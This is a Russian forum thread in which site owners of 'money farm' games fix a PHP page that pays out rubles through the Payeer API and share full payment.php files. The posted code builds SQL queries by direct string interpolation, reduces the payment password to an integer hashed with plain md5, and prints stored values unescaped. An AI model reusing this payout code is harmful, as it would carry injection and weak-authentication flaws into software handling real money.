   $all_pay ++;
   $all_pay_sum += $data["sum"];
   ?>
   <tr class="htt">
   <td align="center"><?=substr($data["user"],0,-3); ?><font color = 'red'>XXX</font></td>
    <td align="center"><?=sprintf("%.2f",$data["sum"]); ?> <?=$data["valuta"]; ?></td>
   <td align="center"><?=substr($data["purse"],0,-3); ?><font color = 'red'>XXX</font></td>
   <td align="center"><?=date("d.m.Y H:i:s",$data["date_add"]); ?></td>
     </tr>
   <?PHP
   
   }

?>
   <tr bgcolor="#efefef">
      <td align="center" width="50" class="m-tb" colspan=2>Всего выплат: <?=$all_pay; ?> шт.</td>
      <td align="center" width="50" class="m-tb" colspan=2>На сумму: <?=sprintf("%.2f",$all_pay_sum); ?> RUB</td>
   </tr>
</table>
<BR />
<?PHP


}else echo "<center><b>Выплат нет :(</b></center><BR />";


?>
</div>
<div class="clr"></div>   
ПОМОГИТЕ ПОЖАЛУЙСТА,если сможете.
смотри в выплатах не показывает потому что в этих строках
$dt = time() - 60*60*48;

$db->Query("SELECT * FROM db_payment WHERE status = '1' AND date_add > '$dt'");
там где status = '1' меняй эту 1 на 3. а вот насчет надписи после выплаты попробуй другой payment поставить. если не исправится значит что то в базе у тебя не то
Поменял,но ничего не изменилось.Выплаты проходят а в списке так ничего и нет,так же и надпись осталась.Уже и базу другую нашёл поменял,но ничего всё как было.Может ещё где то что то не так?
 

maks161

  • *
  • *
  • *
  • Оффлайн
  • Награды Более 4 лет на форуме !!! Репутация более 15 Топ 10 по созданным темам Топ 10 по сообщениям За финансовую помощь форуму !!! Более 1500 сообщений Благодарность от форума Более 50 созданных тем За время в онлайне на форуме
  • Дата регистрации: Янв. 2016
  • Расположение: Ростов-на-Дону
  • Возраст: 36
  • Сообщений: 1744
  • Страна: ru
  • Поблагодарили: 143 раз(а)
  • Репутация +22/-5
  • Пол: Мужской
  • Дата рождения:1984-03-10
    • Награды
Выплата
« Ответ #5 : 29 Мая 2016, 17:16:48 »
выплаты ручные?
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #6 : 29 Мая 2016, 17:23:30 »
Автомат
 

maks161

  • *
  • *
  • *
  • Оффлайн
  • Награды Более 4 лет на форуме !!! Репутация более 15 Топ 10 по созданным темам Топ 10 по сообщениям За финансовую помощь форуму !!! Более 1500 сообщений Благодарность от форума Более 50 созданных тем За время в онлайне на форуме
  • Дата регистрации: Янв. 2016
  • Расположение: Ростов-на-Дону
  • Возраст: 36
  • Сообщений: 1744
  • Страна: ru
  • Поблагодарили: 143 раз(а)
  • Репутация +22/-5
  • Пол: Мужской
  • Дата рождения:1984-03-10
    • Награды
Выплата
« Ответ #7 : 29 Мая 2016, 17:35:23 »
Автомат
тогда попробуй здесь скачать на форуме в бесплатном разделе ферму! алкоферма и вытаскивай из нее файлы и вставляй к себе там все рабочее я проверял !
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #8 : 29 Мая 2016, 17:41:25 »
Автомат
тогда попробуй здесь скачать на форуме в бесплатном разделе ферму! алкоферма и вытаскивай из нее файлы и вставляй к себе там все рабочее я проверял !
А что именно вытаскивать,базу или payments...все?
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #9 : 29 Мая 2016, 18:03:24 »
Как убрать в _payment платёжный пароль? Поменял _payment php а там нужно в вести пароль,но у меня на ферме нет платёжного пароля,а тут требует,как его убрать? вот код
<div class="s-bk-lf">
   <div class="acc-title">Заказ выплаты</div>
</div>

<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 0;

?>
<div class="silver-bk">
<BR />


<center>Продажа игрового золота осуществляются в автоматическом режиме. Обмен золота на RUB, возможен только на платежную систему PAYEER. Процент при обмене составляет 0%.<BR /><BR />
<a href="http://payeer.com/?partner=548303" target="_blank">Создание счета в Payeer</a> | <a href="http://payeeer.ru/outpay" target="_blank">Вывод средств из Payeer</a><BR /><BR /></center>
</div><BR />
<div class="silver-bk">

<center><b>Заказ выплаты:</b></center><BR />

<?PHP
   
   function ViewPurse($purse){
      
      if( substr($purse,0,1) != "P" ) return false;
      if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;   
      return $purse;
   }
   
   
   # Заносим выплату
   if(isset($_POST["purse"])){
      
      $purse = ViewPurse($_POST["purse"]);
      $sum = intval($_POST["sum"]);
      $plat_passs = intval($_POST["plat_pass"]);
      $plat_pass = md5($plat_passs);
      $val = "RUB";
      
      if($plat_pass == $user_dataa['plat_pass']) {
      
         if($purse !== false){
            
               if($sum >= $minPay){
               
                  if($sum <= $user_data["money_p"]){
                     
                     # Проверяем на существующие заявки
                     $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
                     if($db->FetchRow() == 0){
                           
                           
                        ### Делаем выплату ###   
                        $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                        if ($payeer->isAuth())
                        {
                           
                           $arBalance = $payeer->getBalance();
                           if($arBalance["auth_error"] == 0)
                           {
                              
                              $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                              
                              $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                              if( ($balance) >= ($sum_pay+0)){
                              
                              
                              
                              $arTransfer = $payeer->transfer(array(
                              'curIn' => 'RUB', // счет списания
                              'sum' => $sum_pay, // сумма получения
                              'curOut' => 'RUB', // валюта получения
                              'to' => $purse, // получатель (email)
                              //'to' => '+71112223344',  // получатель (телефон)
                              //'to' => 'P1000000',  // получатель (номер счета)
                              'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта Money-Ferma.RU")
                              //'anonim' => 'Y', // анонимный перевод
                              //'protect' => 'Y', // протекция сделки
                              //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                              //'protectCode' => '12345', // код протекции
                              ));
                              
                                 if (!empty($arTransfer["historyId"]))
                                 {   
                                 
                                 
                                    # Снимаем с пользователя
                                    $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                    
                                    # Вставляем запись в выплаты
                                    $da = time();
                                    $dd = $da + 60*60*24*15;
                                    
                                    $ppid = $arTransfer["historyId"];
                                    
                                    $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
                                    VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                                    
                                    $db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
                                    $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                                    
                                    echo "<center><font color = 'green'><b>Выплачено! Пожалуйста загрузите скрин выплаты на форум MMGP <a href=http://mmgp.ru/showthread.php?t=236605>http://mmgp.ru/showthread.php?t=236605</a>.</b></font></center><BR />";
                                    
                                 }
                                 else
                                 {
                                 
                                    echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";   
                                 
                                 }
                              
                              
                              }else echo "<center><font color = 'red'><b>Внутреняя ошибка - пожалуйста повторите!</b></font></center><BR />";
                              
                           }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                           
                        }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                        
                           
                     }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                        
                     
                  }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
               
               }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} кредитов!</font></b></center><BR />";
         
         }else echo "<center><b><font color = 'red'>Кошелек указан неверно! Смотрите образец!</font></b></center><BR />";
      }else echo "<center><b><font color = 'red'>Платежный пароль указан не верно!</font></b></center><BR />";
   }
?>
  <?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] <= 1){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи, которые пополнили баланс больше, чем на 1 RUB<br>У нас нет платежных баллов !<b></font></center>

<div class="clr"></div>      
</div>
<?PHP

return;
}

?>
<?php
if($user_dataa['plat_pass'] == '0') {
echo "<center><b><font color = 'red'>Укажите платежный пароль в профиле!</font></b></center><BR />";
} else {

?>
<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#000;">Введите кошелек [Пример: P1112457]</font>: </td>
   <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#000;">Отдаете серебро для вывода</font> [Мин. 0]<font color="#000;">:</font> </td>
   <td><input type="text" name="sum" id="sum" value="0" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#000;">Получаете [RUR]<span id="res_val"></span></font><font color="#000;">:</font> </td>
   <td>
   <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
   <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
   <input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
   <input type="hidden" name="val_type" id="val_type" value="RUB" />
   </td>
  </tr>
 
  <tr>
    <td><font color="#000;">Платежный пароль[указывается в профиле]</font>: </td>
   <td><input type="text" name="plat_pass" size="15"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
  </tr>
</table>
</form>
<?php } ?>
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h1>Ваши последние выплаты</h1></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Сумма</td>
   <td align="center" class="m-tb">Игрок</td>
   <td align="center" class="m-tb">Кошелек</td>
   <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
   if($db->NumRows() > 0){
 
        while($ref = $db->FetchArray()){
      
      ?>
      <tr class="htt">
          <td align="center"><?=$ref["sum"]; ?> RUB</td>
         <td align="center"><?=$ref["user"]; ?></td>
         <td align="center"><?=$ref["purse"]; ?></td>
          <td align="center"><?=$status_array[$ref["status"]]; ?></td>
        </tr>
      <?PHP
      
      }
 
   }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
 
</table>

<div class="clr"></div>      
</div>
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #10 : 29 Мая 2016, 19:31:41 »
Всё ребята,сделал! Спасибо за помощь!
 

maks161

  • *
  • *
  • *
  • Оффлайн
  • Награды Более 4 лет на форуме !!! Репутация более 15 Топ 10 по созданным темам Топ 10 по сообщениям За финансовую помощь форуму !!! Более 1500 сообщений Благодарность от форума Более 50 созданных тем За время в онлайне на форуме
  • Дата регистрации: Янв. 2016
  • Расположение: Ростов-на-Дону
  • Возраст: 36
  • Сообщений: 1744
  • Страна: ru
  • Поблагодарили: 143 раз(а)
  • Репутация +22/-5
  • Пол: Мужской
  • Дата рождения:1984-03-10
    • Награды
Выплата
« Ответ #11 : 29 Мая 2016, 19:33:43 »
Всё ребята,сделал! Спасибо за помощь!
все работает и выплаты тоже отображаются!
 

vov4ik32Автор темы

  • *
  • Оффлайн
  • Награды Более 5 лет на форуме !!! Более 50 сообщений Более 10 созданных тем
  • Дата регистрации: Окт. 2015
  • Сообщений: 83
  • Страна: 00
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #12 : 29 Мая 2016, 19:39:08 »
Да! Спасибо БОЛЬШОЕ!
 

denis3184

  • *
  • Оффлайн
  • Награды Более 2 лет на форуме
  • Дата регистрации: Окт. 2018
  • Сообщений: 14
  • Страна: ru
  • Репутация +0/-0
    • Награды
Выплата
« Ответ #13 : 29 Октября 2018, 21:36:22 »
скиньте пожалуйста рабочий файл payment.php который действительно работает на выплаты
 

goodwin

  • *
  • *
  • Оффлайн
  • Награды Более 2 лет на форуме Болеее 300 сообщений За помощь пользователям Репутация более 10 Более 10 созданных тем
  • Дата регистрации: Дек. 2017
  • Сообщений: 318
  • Страна: ru
  • Поблагодарили: 52 раз(а)
  • Репутация +10/-0
  • Пол: Мужской
    • Награды
Выплата
« Ответ #14 : 29 Октября 2018, 22:23:42 »
скиньте пожалуйста рабочий файл payment.php который действительно работает на выплаты
держи, кошелек 7-11 цифр, и платежный стоит, по желанию уберешь
<div class="silver-bk">
<h2>Вывод средств</h2>
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 100;

?>
<b><font color="#f9f1b3">Выплаты осуществляются в автоматическом режиме и только на платежную систему <br /><a href="http://payeer.com/" target="_BLANK"><img src="/img/payeer.png"  alt="Пример"></a>
<br />Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы, на банковские карты, на операторов мобильной связи.</font></b><BR /><BR />
<BR /><b><font color="#f9f1b3">Если у Вас еще нет кошелька Payeer, перейдите по ссылке для создания счета:</font></b><BR />
<BR /><font color="#c4dbf2"><a href="http://payeer.com/" target="_blank"style="text-decoration: none;"><font color="#c4dbf2">Создать счет в платежной системе Payeer</font></a></font> <BR />

<BR /><center><b><font color="#f9f1b3">Заказ выплаты:</font></b></center><BR />

<?PHP
   
   function ViewPurse($purse){
      
      if( substr($purse,0,1) != "P" ) return false;
      if( !preg_match("/^[0-9]{7,11}$/", substr($purse,1)) ) return false;   
      return $purse;
   }
   
   
   # Заносим выплату
   if(isset($_POST["purse"])){
      
      $purse = ViewPurse($_POST["purse"]);
      $sum = intval($_POST["sum"]);
      $plat_passs = intval($_POST["plat_pass"]);
      $plat_pass = $func->md5PaymentPassword($plat_passs);
      $val = "RUB";
      
      if($plat_pass == $user_dataa['plat_pass']) {
      
         if($purse !== false){
            
               if($sum >= $minPay){
               
                  if($sum <= $user_data["money_p"]){
                     
                     # Проверяем на существующие заявки
                     $db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
                     if($db->FetchRow() == 0){
                           
                           
                        ### Делаем выплату ###   
                        $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
                        if ($payeer->isAuth())
                        {
                           
                           $arBalance = $payeer->getBalance();
                           if($arBalance["auth_error"] == 0)
                           {
                              
                              $sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);
                              
                              $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                              if( ($balance) >= ($sum_pay+0)){
                              
                              
                              
                              $arTransfer = $payeer->transfer(array(
                              'curIn' => 'RUB', // счет списания
                              'sum' => $sum_pay, // сумма получения
                              'curOut' => 'RUB', // валюта получения
                              'to' => $purse, // получатель (email)
                              //'to' => '+71112223344',  // получатель (телефон)
                              //'to' => 'P1000000',  // получатель (номер счета)
                              'comment' => iconv('windows-1251','utf-8', "Payment user {$usname} from")
                              //'anonim' => 'Y', // анонимный перевод
                              //'protect' => 'Y', // протекция сделки
                              //'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
                              //'protectCode' => '12345', // код протекции
                              ));
                              
                                 if (!empty($arTransfer["historyId"]))
                                 {   
                                 
                                 
                                    # Снимаем с пользователя
                                    $db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");
                                    
                                    # Вставляем запись в выплаты
                                    $da = time();
                                    $dd = $da + 60*60*24*15;
                                    
                                    $ppid = $arTransfer["historyId"];
                                    
                                    $db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
                                    VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
                                    
                                    $db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
                                    $db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");
                                    
                                    echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";
                                    
                                 }
                                 else
                                 {
                                 
                                    echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";   
                                 
                                 }
                              
                              
                              }else echo "<center><font color = 'red'><b>Внутреняя ошибка - пожалуйста повторите!</b></font></center><BR />";
                              
                           }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                           
                        }else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";
                        
                           
                     }else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";
                        
                     
                  }else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";
               
               }else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";
         
         }else echo "<center><b><font color = 'red'>Кошелек указан неверно! Смотрите образец!</font></b></center><BR />";
      }else echo "<center><b><font color = 'red'>Платежный пароль указан не верно!</font></b></center><BR />";
   }
?>
<?php
if($user_dataa['plat_pass'] == "") {
echo "<center><b><font color = 'red'>Укажите платежный пароль в профиле!</font></b></center><BR />";
} else {

?>
<form action="" method="post">
<table width="99%" border="0" align="center">
  <tr>
    <td><font color="#c4dbf2">Введите кошелек [Пример: P1234567 или P12345678]</font>: </td>
   <td><input type="text" name="purse" size="15"/></td>
  </tr>
  <tr>
    <td><font color="#c4dbf2">Отдаете серебро для вывода</font> [Мин. 100]<font color="#000;"></font> </td>
   <td><input type="text" name="sum" id="sum" value="0" size="15" onkeyup="PaymentSum();" /></td>
  </tr>
  <tr>
    <td><font color="#c4dbf2">Получаете [RUR]<span id="res_val"></span></font><font color="#000;"></font> </td>
   <td>
   <input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
   <input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
   <input type="hidden" name="per" id="min_sum_RUB" value="1" disabled="disabled"/>
   <input type="hidden" name="val_type" id="val_type" value="RUB" />
   </td>
  </tr>
 
  <tr>
    <td><font color="#c4dbf2">Платежный пароль</font>: </td>
   <td><input type="text" name="plat_pass" size="15"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" class="button25" /></td>
  </tr>
</table>
</form>
<?php } ?>
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
  <tr>
    <td colspan="5" align="center"><h2>Ваши последние выплаты</h2></td>
    </tr>
  <tr>
    <td align="center" class="m-tb">Сумма</td>
   <td align="center" class="m-tb">Игрок</td>
   <td align="center" class="m-tb">Кошелек</td>
   <td align="center" class="m-tb">Статус</td>
  </tr>
  <?PHP
 
  $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
 
   if($db->NumRows() > 0){
 
        while($ref = $db->FetchArray()){
      
      ?>
      <tr class="htt">
          <td align="center"><?=$ref["sum"]; ?> RUB</td>
         <td align="center"><?=$ref["user"]; ?></td>
         <td align="center"><?=$ref["purse"]; ?></td>
          <td align="center"><?=$status_array[$ref["status"]]; ?></td>
        </tr>
      <?PHP
      
      }
 
   }else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
 
  ?>

 
 
</table>

<div class="clr"></div>      
</div>
 
 

В фаиле выплат поставить с какого проекта выплата.

Автор finans13Раздел Общие вопросы по фермам

Ответов: 1
Просмотров: 236
Последний ответ 27 Марта 2019, 12:28:20
от goodwin
как настроить паеер от кого пришла выплата?

Автор spainРаздел Вопросы / ответы по разным скриптам

Ответов: 6
Просмотров: 713
Последний ответ 20 Мая 2017, 17:53:17
от shans5
[ОПЛАТА] Модули и их настройка. Ошибка при выплате

Автор erik.denhiРаздел Вопросы по настройке фруктовых ферм

Ответов: 2
Просмотров: 216
Последний ответ 18 Марта 2019, 14:29:13
от kvozimir
Авто выплата на паеер без фермы

Автор qwerty2000Раздел Вопросы / ответы по разным скриптам

Ответов: 6
Просмотров: 716
Последний ответ 02 Ноября 2017, 11:58:36
от Kuper
Комисия 5% админских при выплате!

Автор swergРаздел Разное для фруктовых ферм

Ответов: 13
Просмотров: 2010
Последний ответ 22 Октября 2019, 23:14:40
от andreydnepr